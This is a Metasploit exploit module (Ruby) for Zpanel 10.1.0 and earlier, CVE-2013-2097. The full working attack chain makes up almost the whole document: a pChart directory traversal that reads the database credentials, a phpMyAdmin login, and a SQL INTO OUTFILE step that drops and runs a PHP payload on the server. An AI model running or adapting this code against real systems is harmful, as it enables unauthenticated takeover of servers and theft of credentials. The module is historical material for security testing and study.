Zpanel 10.1.0 Remote Unauthenticated Code Execution

`require 'msf/core'  
require 'msf/core/exploit/php_exe'  
require 'nokogiri'  
require 'uri'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::PhpEXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Zpanel Remote Unauthenticated RCE',  
'Description' => %q{  
This module exploits an information disclosure vulnerability  
found in Zpanel <= 10.1.0. The vulnerability is due to a  
vulnerable version of pChart allowing remote, unauthenticated,  
users to read arbitrary files found on the filesystem. This  
particular module utilizes this vulnerability to identify the  
username/password combination of the MySQL instance. With the  
credentials the attackers can login to PHPMyAdmin and execute  
SQL commands to drop a malicious payload on the filesystem and  
call it leading to remote code execution.  
},  
'Author' =>  
[  
'dawn isabel',  
'brad wolfe',  
'brent morris',  
'james fitts'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-2097' ],  
[ 'EDB', '31173' ], # pChart  
[ 'OSVDB', '102595' ], # pChart  
[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],  
[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 30 2014'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])  
], self.class)  
end  
  
def get_setting(res, setting_name)  
n = ::Nokogiri::HTML(res.body)  
spans = n.search('//code//span//span')  
found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first  
val = found_element.next.next.text  
val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''  
end  
  
def get_user(res)  
get_setting(res, 'user')  
end  
  
def get_passwd(res)  
get_setting(res, 'pass')  
end  
  
def get_dbname(res)  
get_setting(res, 'dbname')  
end  
  
def dot_dot_slash(uri)  
res = send_request_cgi({  
'method' =>'GET',  
'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),  
'vars_get' => {  
'Action' => 'View',  
'Script' => '../../../../cnf/db.php'  
}  
})  
  
uname = get_user(res)  
passwd = get_passwd(res)  
dbname = get_dbname(res)  
  
return uname, passwd, dbname  
end  
  
def get_token_from_form(res)  
hidden_inputs = res.get_hidden_inputs  
hidden_inputs.first['token']  
end  
  
def get_token_from_url(url)  
u = URI(url)  
u.query.split('&').each do |param|  
param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten  
return param_value if param_name == 'token'  
end  
  
''  
end  
  
def grab_sess_and_token(uri)  
print_status('Attempting to get PHPSESSIONID')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("#{uri}"),  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')  
end  
  
cookies = res.get_cookies  
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''  
  
if sid.length > 0  
print_good('PHPSESSID identified!')  
print_good("PHPSESSID = #{sid.split("=")[1]}")  
  
print_status('Attempting to get CSRF token')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),  
'Cookie' => "#{sid}"  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')  
end  
  
token = get_token_from_form(res)  
cookies = res.get_cookies  
  
cookies = cookies.split('; ')  
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"  
  
if token.length > 0  
print_good('CSRF token identified!')  
print_good("CSRF token = #{token}")  
return cookies, token, sid  
else  
print_error('CSRF token could not be identified...')  
end  
else  
print_error('PHPSESSID could not be identified...')  
end  
end  
  
def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)  
old_cookies = cookies  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),  
'cookie' => cookies,  
'ctype' => 'application/x-www-form-urlencoded',  
'headers'=>  
{  
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",  
},  
'vars_post' => {  
'pma_username' => uname,  
'pma_password' => passwd,  
'server' => '1',  
'lang' => 'en',  
'collation_connection' => 'utf8_general_ci',  
'token' => token  
}  
})  
  
cookies = "#{res.get_cookies}"  
  
old_cookies = old_cookies.split("; ")  
cookies = cookies.split("; ")  
  
new_cookies = "#{old_cookies[0]}; "  
new_cookies << "#{old_cookies[1]}; "  
new_cookies << "#{old_cookies[2]}; "  
new_cookies << "#{old_cookies[3]}; "  
new_cookies << "#{cookies[0]}; "  
new_cookies << "#{cookies[1]} "  
new_cookies << "#{sess_id}"  
  
token = get_token_from_url(res['Location'])  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),  
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",  
'cookie' => new_cookies,  
'vars_get' => {  
'token' => token  
}  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')  
end  
  
if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/  
print_good('PHPMyAdmin login successful!')  
return new_cookies, token  
end  
end  
  
def do_sql(cookies, token, uri)  
fname = "#{rand_text_alpha_upper(5)}.php"  
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),  
'cookie' => cookies,  
'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest',  
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"  
},  
'vars_post' => {  
'is_js_confirmed' => '0',  
'token' => token,  
'pos' => '0',  
'goto' => 'server_sql.php',  
'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',  
'prev_sql_query' => '',  
'sql_query' => sql_stmt,  
'sql_delimiter' => ';',  
'show_query' => '1',  
'ajax_request' => 'true',  
'_nocache' => rand.to_s[2..19].to_i  
}  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')  
end  
  
if res.body =~ /"success":true/  
print_good("'#{fname}' successfully uploaded")  
print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")  
print_status("Executing '#{fname}' on the remote host")  
  
res = send_request_cgi({  
'method'=>'GET',  
'uri'=>normalize_uri("#{uri}", "#{fname}")  
})  
else  
print_error("#{res.body.to_s}")  
end  
end  
  
def exploit  
# Checking pChart  
res = send_request_cgi({  
'method'=> 'GET',  
'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')  
})  
  
# if pChart is vuln version  
if res.body =~ /pChart 2\.x/  
uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")  
if uname.length > 0 && passwd.length > 0  
print_good('Directory traversal successful, Username/Password identified!')  
print_good("Username: #{uname}")  
print_good("Password: #{passwd}")  
print_good("DB Name: #{db_name}")  
cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")  
print_status('Logging into PHPMyAdmin now')  
cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)  
print_status('Uploading malicious payload now')  
do_sql(cookies, token, "#{datastore['URI']}")  
else  
print_error('It appears that the directory traversal was unsuccessful...')  
end  
else  
print_error("It appears that the version of pChart is not vulnerable...")  
end  
end  
end  
`